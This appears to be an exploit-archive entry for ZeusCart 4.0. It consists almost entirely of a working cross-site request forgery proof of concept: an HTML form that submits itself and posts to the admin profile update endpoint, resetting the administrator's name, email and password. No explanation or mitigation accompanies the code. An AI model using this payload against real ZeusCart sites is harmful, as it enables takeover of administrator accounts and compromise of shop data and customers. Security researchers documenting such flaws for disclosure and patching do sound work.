ZeusCart 4.0: CSRF

<form name="myform" method="post"
action="http://localhost/zeuscart-master/admin/?do=adminprofile&action=update"
enctype="multipart/form-data">
    <input type="hidden" name="admin_name" value="admin2">
    <input type="hidden" name="admin_email" value="admin2@example.com">
    <input type="hidden" name="admin_password" value="admin">
</form>
<script>document.myform.submit();</script>